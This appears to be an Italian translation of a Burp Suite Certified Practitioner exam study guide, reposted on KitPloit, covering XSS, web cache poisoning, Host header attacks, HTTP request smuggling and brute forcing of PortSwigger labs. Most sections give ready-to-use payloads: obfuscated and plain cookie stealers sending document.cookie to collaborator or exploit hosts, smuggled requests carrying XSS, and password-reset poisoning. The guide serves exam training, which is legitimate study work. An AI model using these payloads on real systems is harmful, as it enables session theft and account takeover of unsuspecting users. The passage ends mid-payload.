Esegui l'URL Encode di tutti i caratteri in questo payload e utilizza il risultato come valore del parametro /?SearchTerm=.```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

root@kitploit:~
>Ospitando l'`IFRAME` sul server exploit, si ottiene un messaggio di **errore** di connessione rifiutata al target. Ospita invece il payload sul server exploit tra i tag `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

(Consegna la reflected XSS per rubare il cookie della vittima.

NOTA: esegui Deliver exploit to victim alcune volte se l'utente attivo non invia una richiesta HTTP al collaborator. Sostituisci il valore del cookie corrente con il cookie rubato per impersonare l'utente attivo e passa allo Stage 2 dell'Esame Pratico.

Esame Pratico PortSwigger - Stage 1 - Foothold

Stored XSS

La Stored XSS può anche essere Blind XSS. Se il payload alert non si attiva, consulta il video di NahamSec sulla Blind XSS per un payload che la vittima possa cliccare, esempio: <svg/onload=import('//EXPLOIT.net/blind_xss')>
Se l'input memorizzato reindirizza la vittima che clicca sui link, viene inviata una richiesta al server di exploit. Usa il seguente codice di esempio per identificare la stored XSS.```HTML

root@kitploit:~
>Le voci di log qui sotto mostrano le richieste fatte al server di exploit, e dai log possiamo ***identificare*** che `/img` e `/video` dei tag precedenti erano consentiti sull'applicazione e hanno effettuato richieste quando vi si accedeva.  

![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

>Cross site Scripting salvato nel commento del post del blog. Questo payload Cookie Stealer invia poi il cookie di sessione della vittima ai log del server di exploit.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

Ricerca di prodotti e negozi```html ?productId=1&storeId=">

root@kitploit:~
#### Post del blog Stored XSS  

>Ladro di cookie del post del blog Stored XSS che invia il cookie del documento al server di exploit.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

Il target di seguito presenta una vulnerabilità XSS memorizzata nella funzione dei commenti del blog. Ruba il cookie di sessione di una vittima che visualizza i commenti dopo che sono stati pubblicati, e poi usa il suo cookie per effettuare un'impersonificazione.

Post del blog con XSS memorizzato

Fetch API payload JavaScript Cookie Stealer nel commento del post del blog.```JavaScript

root@kitploit:~
>[IPPSEC YouTube usando HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), in cui mostra il codice JavaScript `payload.js`, come usa `fetch` e impara JavaScript.

[PortSwigger Lab: Sfruttare il cross-site scripting per rubare cookie](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)

#### Potenziamento del self-XSS memorizzato

>Commento del blog con **Stored self-XSS**, potenziando il payload per rubare le informazioni della vittima dal DOM. La funzione **edit content** riflette l'input nel tag `<script>`. Il token CSRF per **write comment** è lo stesso della funzione **edit content**. Il payload seguente usa la funzione **write comment** per indurre la vittima a creare una voce di blog sul proprio blog con il nostro contenuto malevolo.
>Il carattere `a` viene aggiunto per sfuggire al carattere `#` del `source code` iniziale dell'applicazione.
>Il `source code` seguente nella voce di blog è l'exploit completo per rubare le informazioni della vittima.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

Questo target viene sfruttato costruendo un'iniezione HTML che sovrascrive una variabile denominata share_button, vedi source code sotto e usa il codice HTML sopra. Il contenuto viene riflesso nella pagina, quindi usando questa riflessione si abilita il reindirizzamento della pagina alla pagina /edit della vittima con l'uso del tag meta http-equiv per aggiornare la pagina dopo 1 secondo, con conseguente reindirizzamento.

clobbering javascript variable``` https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1

root@kitploit:~
>Consegna Exploit, inviando alla vittima un URL che fa riferimento alla voce di blog sopra menzionata, si innescherà XSS nel suo contesto.  

[intigriti - Upgrade Self-XSS - Soluzione alla sfida XSS di dicembre 22](https://youtu.be/FowbZ8IlU7o)  

>Exploit alternativo che utilizza l'iniezione HTML nella pagina di modifica del contenuto della voce di blog, ***identificato*** utilizzando il [XSS Resources CSP check](#xss-resources).```
<base href="https://Exploit.net">

Ospita il file JS sul server Exploit come static/js/bootstrap.bundle.min.js, con il contenuto:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)

root@kitploit:~
>Il payload modificato del lab di PortSwigger assegna la funzione `document.location` alla variabile `defaultAvatar` la prossima volta che la pagina viene caricata, perché il sito usa DOMPurify che consente l'uso del protocollo `cid:` che non esegue URLencode delle virgolette doppie.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

PortSwigger Lab: Sfruttare il DOM clobbering per abilitare XSS

XSS DOM memorizzato

Nel codice sorgente JavaScript, nello script incluso resources/js/loadCommentsWithVulnerableEscapeHtml.js, identifichiamo la funzione html.replace() all'interno della funzione personalizzata loadComments. Testando i payload, vediamo che la funzione sostituisce solo la prima occorrenza di <>.

sostituzione del codice dom-xss memorizzato```html <>

root@kitploit:~
>Il payload precedente viene memorizzato e qualsiasi utente che visita il blog dei commenti vedrà il proprio cookie di sessione rubato e inviato al collaborator.  

![commenti JSON DOM-XSS memorizzati](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>Payload del lab PortSwigger: `<>`.  

[PortSwigger Lab: DOM XSS memorizzato](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  

-----

## Avvelenamento della cache Web  

[Header non incluso](#unkeyed-header)  
[Utm_content non incluso](#unkeyed-utm_content)  
[Occultamento di utm_content](#cloaking-utm_content)  
[Avvelenamento di richieste ambigue](#poison-ambiguous-request)  
[Avvelenamento della cache con più header](#cache-poison-multiple-headers)  

### Header non incluso  

>Il target utilizza **tracking.js** JavaScript,  
>ed è vulnerabile all'header **```X-Forwarded-Host```** o **```X-Host```** che reindirizza il percorso,  
>consentendo il furto del cookie tramite l'avvelenamento della cache.  

>***Identifica*** gli header della cache web nella risposta e lo script tracking.js nel codice sorgente della pagina.  
>Sfrutta la vulnerabilità ospitando JavaScript e iniettando l'header per avvelenare la cache del target e reindirizzare una vittima in visita.  

![Revisione del `codice sorgente` di Tracking](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

tracking.js

Hosting sul server di exploit, iniettando l'header X-Forwarded-Host nella richiesta e avvelenando la cache finché la vittima non raggiunge la cache avvelenata.``` /resources/js/tracking.js

root@kitploit:~
![exploit host tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  
  
>Il corpo invia il cookie di sessione al servizio di collaborazione.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

Continua ad avvelenare la cache web del target reinviando la richiesta con l'header X-Forwarded-Host.

x-cache-hit.png

Lab PortSwigger: Avvelenamento della cache web con un header non incluso nella chiave

Video YouTube che mostra il payload del lab sopra indicato su un server di exploit modificato per rubare il cookie della vittima quando quest'ultima accede a una voce in cache sul server back-end. Il payload è il JavaScript sopra riportato.

YouTube: Avvelenamento della cache web con header non incluso nella chiave - ladro di cookie

Estensione Param Miner per identificare le vulnerabilità della cache web

utm_content non incluso nella chiave

Il target è vulnerabile all'avvelenamento della cache web perché esclude un determinato parametro dalla chiave di cache. La funzionalità "Guess GET parameters" di Param Miner identificherà il parametro come utm_content.

Cache query riflessa``` GET /?utm_content='/>

root@kitploit:~
>Il payload sopra viene messo in cache e il cookie della vittima che visita il target viene inviato a Burp Collaborator.  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[PortSwigger Lab: avvelenamento della cache web tramite un parametro di query non incluso nella chiave](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### Cloaking di utm_content  

>L'estensione Param Miner, eseguendo una `Bulk scan > Rails parameter cloaking scan`, ***identifica*** automaticamente la vulnerabilità. Manualmente può essere identificata aggiungendo `;` per aggiungere un altro parametro a `utm_content`; la cache lo tratta come un singolo parametro. Ciò significa che il parametro extra è anch'esso escluso dalla chiave di cache.  
>Il `source code` per `/js/geolocate.js?callback=setCountryCookie` viene chiamato su ogni pagina ed esegue la funzione di callback.  

>Il parametro `callback` è parte della chiave, e quindi non può avvelenare la cache per l'utente vittima, ma combinando un parametro duplicato con `utm_content`, tale parametro viene escluso e la cache può essere avvelenata.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

utm_content cache cloaking

Payload di cattura cookie con cache cloaking qui sotto; continua ad avvelenare la cache finché la vittima non accede alla cache memorizzata.``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2

root@kitploit:~
>Di seguito è riportato il payload [Url Decoded](https://www.urldecoder.org/).```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

PortSwigger Lab: Parameter cloaking

Avvelena richiesta ambigua

Aggiungendo un secondo header Host con un server di exploit, questo identifica una vulnerabilità di ambiguità della cache e instrada la tua richiesta. Nota che il server di exploit nel secondo header Host viene riflesso in un URL assoluto usato per importare uno script da /resources/js/tracking.js.```html Host: TARGET.net Host: exploit.net

root@kitploit:~
>Imposta sul server exploit un file nello stesso percorso delle chiamate del target a ```/resources/js/tracking.js```; questo conterrà il payload. Inserisci il codice del payload JavaScript qui sotto per eseguire un cookie stealer.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

Host ambigui

PortSwigger Lab: Avvelenamento della cache web tramite richieste ambigue

Avvelenamento della cache con header multipli

Identifica gli header di cache hit nelle risposte,
poi verifica se il target supporta gli header X-Forwarded-Host o X-Forwarded-Scheme.
Questi header possono consentire il furto del cookie di sessione della vittima.

Identifica se l'aggiunta dei due header Forwarded alla richiesta GET /resources/js/tracking.js comporta una modifica nell'header di risposta location. Questo identifica un avvelenamento positivo della cache con più header.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

root@kitploit:~
![x-forwarded-scheme non https](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>Sul server exploit cambia il percorso del file in `/resources/js/tracking.js`  
>e poi aggiorna l'intestazione `X-Forwarded-Host: EXPLOIT.net` della richiesta poison.  
>Inserisci il payload nel corpo del server exploit.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

Rimuovi il cache buster cb=123, e poi avvelena la cache finché la vittima non viene reindirizzata al payload tracking.js del server di exploit per rubare il cookie di sessione.

PortSwigger Lab: Avvelenamento della cache web con più header

Fat Poison per parametro duplicato

Identifica che l'applicazione è vulnerabile all'avvelenamento da parametro duplicato: aggiungendo un secondo parametro con lo stesso nome e un valore diverso, la risposta rifletteva il valore iniettato.

codice sorgente countrycode``` GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2

root@kitploit:~
>La funzione che viene chiamata nella risposta passando un parametro callback duplicato viene riflessa. Nota che nella risposta la chiave della cache è ancora derivata dal parametro callback originale nella riga della richiesta GET.  

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)  

>Non sono riuscito a far funzionare il payload per il furto di cookie......  

[PortSwigger Lab: Avvelenamento della cache web tramite una richiesta GET fat](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)  
  
-----

## Host Headers  

[Spoof dell'indirizzo IP](#spoof-ip-address)  
[Stato della connessione HOST](#host-connection-state)  
[SSRF basato sul routing dell'Host](#host-routing-based-ssrf)  
[SSRF tramite parsing difettoso della richiesta Host](#absolute-get-url--host-ssrf)  

### Spoof IP Address  

>***Identifica*** che gli header HOST alterati sono supportati,  
>il che ti consente di spoofare il tuo indirizzo IP e bypassare la protezione contro il brute-force basato su IP  
>o attacchi di redirezione per effettuare l'avvelenamento del ***password reset***.  
  
>Includi gli header `X- ` di seguito e modifica il parametro username nella richiesta di password reset in `Carlos` prima di inviare la richiesta.  
>Nell'esame BSCP, se hai usato questo exploit significa che non hai usato una vulnerabilità che richiede interazione con l'utente e che ti consente di usare una vulnerabilità di interazione per ottenere l'accesso allo stage 3 come admin usando la funzione `Deliver exploit to victim` del server di exploit.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

Suggerimenti e note da fullfox:

  • Quando si effettua lo spoofing dell'header Host nel reset della password usando Host: o X-Forwarded-Host:, se si riceve l'errore Invalid hostname, prova a usare il seguente hostname: xxx.oastify.com?TARGET.net URL del target legittimo senza barra.

Controlla il log del server exploit per ottenere il link di reset per il nome utente della vittima.

I log del server exploit catturano il token di reset della password dimenticata

PortSwigger Lab: Avvelenamento del reset della password tramite middleware

Stato della connessione HOST

Il target è vulnerabile a SSRF basato sul routing tramite l'header Host, ma convalida lo stato della connessione della prima richiesta. L'invio di richieste raggruppate in sequenza utilizzando una singola connessione e impostando l'header di connessione su keep-alive bypassa la convalida dell'header Host e consente lo sfruttamento SSRF del server locale.```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive

root@kitploit:~
>La prossima richiesta è la seconda scheda nella sequenza di richieste del gruppo.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

Osserva che la seconda richiesta ha avuto accesso con successo al pannello di amministrazione.

connessione singola

PortSwigger Lab: Bypass della convalida dell'host tramite attacco allo stato della connessione


Contrabbando di richieste HTTP

Architettura con server front-end e back-end, in cui il front-end o il back-end non supporta la codifica chunked (HEX) o content-length (Decimal). Bypassare i controlli di sicurezza per recuperare la richiesta della vittima e utilizzare i cookie dell'utente vittima per accedere al suo account.

TE.CL dualchunk - Transfer-encoding offuscato
TE.CL multiCase - Admin bloccato
CL.TE multiCase - Admin bloccato
CL.TE multiCase - Content-Length Stealer di cookie
CL.TE multiCase - User-Agent Stealer di cookie
Contrabbando HTTP/2 - Iniezione CRLF Stealer di cookie
HTTP/2 TE - Admin Stealer di cookie

TE.CL dualchunk - Transfer-encoding offuscato

Se sono consentiti nomi di header duplicati e la vulnerabilità viene rilevata come dualchunk, aggiungi un header aggiuntivo con nome e valore = Transfer-encoding: cow. Utilizza tecniche di offuscamento con il secondo TE.``` Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding : chunked

Transfer-encoding: identity Transfer-encoding: cow

root@kitploit:~
>Alcuni server che supportano l'header `Transfer-Encoding` possono essere indotti a non elaborarlo se l'header viene **offuscato** in qualche modo.  

>Nel menu Repeater assicurarsi che l'opzione **"Update Content-Length"** non sia selezionata.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

GPost Offuscamento dell'header TE

Nota: devi includere la sequenza finale \r\n\r\n dopo lo 0 finale.

PortSwigger Lab: HTTP request smuggling, offuscamento dell'header Transfer-Encoding (TE)

Ti sei mai chiesto quanto spesso accade che un hacker riesca a rubare la richiesta di un utente in visita tramite la vulnerabilità HTTP Sync?

TE.CL multiCase - Admin bloccato

Quando si tenta di accedere al percorso URL del portale /admin, otteniamo il messaggio del filtro, Path /admin is blocked. Lo scanner HTTP Request Smuggler identifica la vulnerabilità come TE.CL multiCase (delayed response). Nota: poiché il server back-end non supporta la codifica chunked, disattiva Update Content-Length nel menu Repeater.

Dopo aver disattivato l'aggiornamento automatico di Content-Length, passando a HTTP/1.1, invia la richiesta seguente due volte, aggiungendo il secondo header Content-Length: 15 per evitare che l'header HOST entri in conflitto con la prima richiesta.
Nota: è necessario includere la sequenza finale \r\n\r\n dopo lo 0 finale.

La correzione manuale dei campi di lunghezza negli attacchi di request smuggling richiede che ogni dimensione di chunk in byte sia espressa in ESADECIMALE, e Content-Length specifica la lunghezza del corpo del messaggio in byte. I chunk sono seguiti da una newline, poi dal contenuto del chunk. Il messaggio termina con un chunk di dimensione ZERO.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked

71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15

x=1 0

root@kitploit:~
>Calcolo della lunghezza della richiesta di contrabbando TE.CL (Transfer-Encoding / Content-Length) in **ESADECIMALE** e il payload è compreso tra la lunghezza esadecimale di **71** e lo **ZERO** di terminazione, non includendo lo ZERO e non includendo il `\r\n` precedente sulla riga sopra lo ZERO, come parte della lunghezza. Il **content-length** della richiesta POST iniziale è impostato manualmente.

![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)

>Quando si invia `/admin/delete?username=carlos` per eliminare l'utente, la lunghezza esadecimale del transfer encoding viene cambiata dal valore esadecimale `71` a `88` per includere la dimensione extra della richiesta contrabbandata.

[Laboratorio PortSwigger: sfruttare l'HTTP request smuggling per bypassare i controlli di sicurezza del front-end, vulnerabilità TE.CL](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)

### CL.TE multiCase - Admin bloccato

>Quando si tenta di accedere al percorso URL del portale `/admin`, otteniamo il messaggio del filtro `Path /admin is blocked`. Lo scanner HTTP Request Smuggler ***identifica*** la vulnerabilità come `CL.TE multiCase (delayed response)`.

>Per accedere al pannello di amministrazione, invia la richiesta seguente due volte, aggiungendo la seconda intestazione ```Content-Length: 10``` per evitare che l'intestazione HOST entri in conflitto con la prima richiesta.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

Alla seconda volta che la richiesta viene inviata, il portale admin viene restituito nella risposta.

cl.te multicase admin blocked

PortSwigger Lab: Sfruttare l'HTTP request smuggling per bypassare i controlli di sicurezza del front-end, vulnerabilità CL.TE

CL.TE multiCase - Content-Length

Content-Length elevato per catturare le richieste della vittima. Invio di una richiesta POST con una richiesta contrabbandata, ma con una content length maggiore della lunghezza reale; quando la vittima naviga, il valore del cookie di sessione viene pubblicato nel commento blob. È stata aumentata la Content-Length della richiesta di pubblicazione del commento a 798, quindi si contrabbanda una richiesta POST al server back-end.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue

csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

root@kitploit:~
![Sfruttamento dello smuggling di richieste HTTP con valore content-length](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)  

>Nessuna nuova riga alla fine della richiesta POST contrabbandata qui sopra^^.  

>Consulta il blog **post** per vedere se c'è un commento contenente la richiesta di un utente. Nota che l'attacco avrà successo solo dopo che l'utente vittima avrà visitato il sito web di destinazione. Copia l'header Cookie dell'utente dal commento del blog e usa il cookie per accedere all'account della vittima.  
  
![Sfruttamento dello smuggling di richieste HTTP per catturare le richieste di altri utenti](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)  

[PortSwigger Lab: Sfruttamento dello smuggling di richieste HTTP per catturare le richieste di altri utenti](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)  
  
### CL.TE multiCase - Furto di cookie tramite User-Agent  
  
>***Identifica*** che il valore UserAgent è memorizzato nella richiesta GET che carica il modulo dei commenti del blog, e memorizzato nel valore nascosto **User-Agent**. Sfrutta lo smuggling di richieste HTTP per veicolare una XSS riflessa usando il valore **User-Agent** che viene poi inserito in una richiesta contrabbandata.  

>Payload di base di Cross Site Scripting che fuoriesce dal documento HTML.```JavaScript
 "/><script>alert(1)</script>

COOKIE STEALER Payload.```JavaScript a"/>;

root@kitploit:~
>Intrufola questa richiesta XSS al server back-end, così che colpisca il prossimo visitatore. Inserisci il ladro di cookie XSS nell'header **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

HTTP request smuggling per veicolare una XSS riflessa e rubare il cookie della vittima

Controlla la richiesta Collaborator di PortSwigger ricevuta dalla vittima che naviga sul target.

Collaborator cattura la richiesta XSS dalla vittima che naviga sul target

PortSwigger Lab: Sfruttare l'HTTP request smuggling per veicolare una XSS riflessa

HTTP/2 smuggling tramite iniezione CRLF

Il target è vulnerabile al request smuggling perché il server front-end retrocede le richieste HTTP/2 e non riesce a sanificare adeguatamente le intestazioni in arrivo. Lo sfruttamento avviene tramite un vettore di request smuggling esclusivo di HTTP/2 per rubare il cookie di sessione della vittima e ottenere accesso all'account dell'utente.

Identifica una possibile vulnerabilità quando il target riflette la cronologia delle ricerche precedenti e recenti in base al cookie; rimuovendo il cookie, si nota che la cronologia delle ricerche viene azzerata, confermando che è legata al cookie di sessione.

ricerche recenti

Espandi la sezione Request Attributes dell'Inspector e cambia il protocollo in HTTP/2, quindi aggiungi un'intestazione arbitraria foo con valore bar, seguita dalla sequenza \r\n, e poi dal Transfer-Encoding: chunked, premendo shift+ENTER.

http2-inspector

Nota: abilita l'opzione Allow HTTP/2 ALPN override e cambia il corpo della richiesta HTTP/2 con la richiesta POST indicata di seguito.```html 0

POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800

search=nutty

root@kitploit:~
![http2 smuggle via crlf inject](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[PortSwigger Lab: HTTP/2 request smuggling via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[Youtube demo HTTP/2 request smuggling via CRLF injection](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>Il target è vulnerabile al request smuggling perché il server front-end declassa le richieste HTTP/2 anche se hanno una lunghezza ambigua. Ruba il  cookie di sessione dell'amministratore che visita il target. L'estensione di Burp, **HTTP Request Smuggler** ***identificherà*** la vulnerabilità come vulnerabilità HTTP/2 TE desync v10a (H2.TE).  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

>Nota: Passa a **HTTP/2** negli attributi della richiesta nell'inspector e abilita l'opzione **Allow HTTP/2 ALPN override** nel menu repeat.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

Nota: i percorsi nelle richieste POST e GET puntano a endpoint inesistenti. Questo aiuta a identificare quando, non ricevendo una risposta 404, la risposta proviene dalla richiesta catturata dell'utente vittima. Ricorda di terminare correttamente la richiesta contrabbandata includendo la sequenza \r\n\r\n dopo l'intestazione Host.

Risposta 302 una volta catturata la richiesta del cookie admin rubato

Copia il valore del cookie di sessione rubato in una nuova richiesta GET http/2 al pannello di amministrazione.``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

root@kitploit:~
![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

[PortSwigger Lab: Response queue poisoning via H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## Brute Force  

[Stay-Logged-in](#stay-logged-in)  
[Stay-logged-in Offline Crack](#stay-logged-in-offline-crack)  
[Brute Force Protected Login](#brute-force-protected-login)  
[Subtly Invalid Login](#subtly-invalid-login)  

### Stay-Logged-in  

>L'opzione di accesso con una casella di controllo stay-logged-in genera un valore di cookie contenente la password dell'utente autenticato ed è vulnerabile al brute forcing.  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

>Di seguito i passaggi per l'exploit, insieme alle regole di elaborazione dei payload di Intruder in ordine, inclusa l'opzione GREP, prima di avviare l'attacco.  
  
1. Esegui il logout come utente corrente.  
2. Invia la richiesta GET /my-account più recente a Burp Intruder.  
3. Seleziona il cookie: ```stay-logged-in``` come posizione di iniezione.  
4. Hash: ```MD5```  
5. Aggiungi il prefisso: ```carlos:```  
6. Codifica: ```Base64-encode```  
7. Aggiungi **GREP** nella scheda impostazioni per verificare nella risposta la stringa ```Update email``` che indica un accesso riuscito.  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[PortSwigger Lab: Brute-forcing a stay-logged-in cookie](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### Stay-logged-in Offline Crack  
  
>La funzione dei commenti dell'applicazione blog è vulnerabile a [stored XSS](#stored-xss); usa il payload seguente nel commento del blog per inviare il cookie di sessione di Carlos al server di exploit.```
<script>
